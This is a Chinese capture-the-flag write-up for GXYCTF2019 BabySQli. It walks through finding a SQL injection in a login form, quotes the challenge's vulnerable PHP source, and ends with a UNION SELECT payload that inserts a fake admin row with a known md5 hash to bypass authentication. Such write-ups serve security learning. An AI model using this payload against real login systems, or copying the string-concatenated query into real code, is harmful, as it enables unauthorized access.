[GXYCTF2019]BabySQli 利用联合查询插入数据

1.　首页只是一个登录框，f12没有有用信息，尝试用admin和password登录

2.　提示密码错误，说明账号也许是对的。

　　同时按f12有一段注释，注释为全大写字母与数字，猜测是base32加密：

　　base32解密后得到一串字符疑似为base64加密：

 　　base64解密后得到一个提示：

 3.　暂时不知道这串提示有什么用处，但是在经过几次尝试后确定了账号输入框为sql注入点。

 

 

 4.　经过了很久的手动尝试，一直没能绕过题目的过滤，题目貌似是过滤了or，小括号，等号等，没有了小括号，似乎很多事情都做不了，做到这里我已经没有思路了。

 5.　上网查找这题的源代码学习此题逻辑

<!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5-->
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<title>Do you know who am I?</title>
<?php
require "config.php";
require "flag.php";

// 去除转义
if (get_magic_quotes_gpc()) {
    function stripslashes_deep($value)
    {
        $value = is_array($value) ?
        array_map('stripslashes_deep', $value) :
        stripslashes($value);
        return $value;
    }

    $_POST = array_map('stripslashes_deep', $_POST);
    $_GET = array_map('stripslashes_deep', $_GET);
    $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);


if(preg_match("/(|)|=|or/", $name)){
    die("do not hack me!");
}
else{
    if (!$result) {
        printf("Error: %s
", mysqli_error($con));
        exit();
    }
    else{
        // echo '<pre>';
        $arr = mysqli_fetch_row($result);
        // print_r($arr);
        if($arr[1] == "admin"){
            if(md5($password) == $arr[2]){
                echo $flag;
            }
            else{
                die("wrong pass!");
            }
        }
        else{
            die("wrong user!");
        }
    }
}

?>

 　　经过审计看出，关键代码部分

if(preg_match("/(|)|=|or/", $name))//过滤了小括号，or，和等号。

$name = $_POST['name'];
$password = $_POST['pw'];

$sql = "select * from user where username = '".$name."'";

$result = mysqli_query($con, $sql);

后端接收了账号密码后，居然是直接用接收到的账号作为查询条件进行查询的，查询出来的第二项结果如果不为admin就会die，也就是说输入的账号必须为admin，随后对比admin这行的密码与输入密码是否相等
密码储存方式为md5加密后的密码。

　　

　　利用联合查询临时插入数据：

select * from user where uname='zhangge' union select '1','2','3';
此时查询结果出了zhangge那一行，还会多出一行联合查询的字段，作为数据临时插入。
利用这个特性，首先随便选一个密码例如1，md5加密后用它作为临时密码插入。

　　构造payload：

　　name=zhangge'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1